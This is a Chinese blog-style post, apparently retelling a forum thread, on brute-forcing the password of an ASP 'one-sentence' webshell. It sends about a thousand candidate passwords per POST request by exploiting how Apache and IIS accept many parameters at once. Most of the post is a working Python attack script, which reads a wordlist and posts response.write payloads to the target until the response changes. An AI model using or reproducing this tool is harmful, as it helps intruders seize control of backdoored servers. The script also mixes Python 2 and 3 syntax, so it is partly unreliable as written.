今天看到t00ls某版主发出的一个帖子,说一秒爆十万密码。
原理:
其原理就是apache和iis可以多参数提交,apache最多同时提交1000个参数,而iis据说可以提交5883个参数,那么就可以批量提交千个参数去判断哪个是一句话的密码,效率就比一个一个参数提交提高了千倍!
操作:
输入正常密码时,会显示。我们可以放多个看看。
大概的原理明白了,就开始写Python吧,代码先写出来讲讲
#!/usr/bin/python #coding=utf-8 import requests import time if __name__ == '__main__': url = "http://127.0.0.1/1.asp" postdata={} password = open('d:\\pass.txt').read().split('\n') dics = len(password)/1000 print("#当前字典变量个数为:%s" % str(len(password))) print("#字典被分割成%s" % str(dics)) #print(password) # 下面建立错误密码的返回标识符 post_test = {'test_pass_test': 'response.write("test!")'} res = requests.post(url, data=post_test) wrong_res = res.text for i in range(0, dics): new_group = [] for k in range(i * 1000, (i + 1) * 1000): new_group.append(password[k]) k += 1 for each in new_group: postdata[each] = 'response.write("password is %s")' % each r = requests.post(url, data=postdata) print "#进行第 %s 组字典爆破" % str(i + 1) postdata.clear() i += 1 print r.text if len(r.text) != len(wrong_res): break
思路:
1、读取字典密码,同时进行相关处理
2、将密码分割成1000个一份。
3、首先进行错误页面判断,然后开始爆破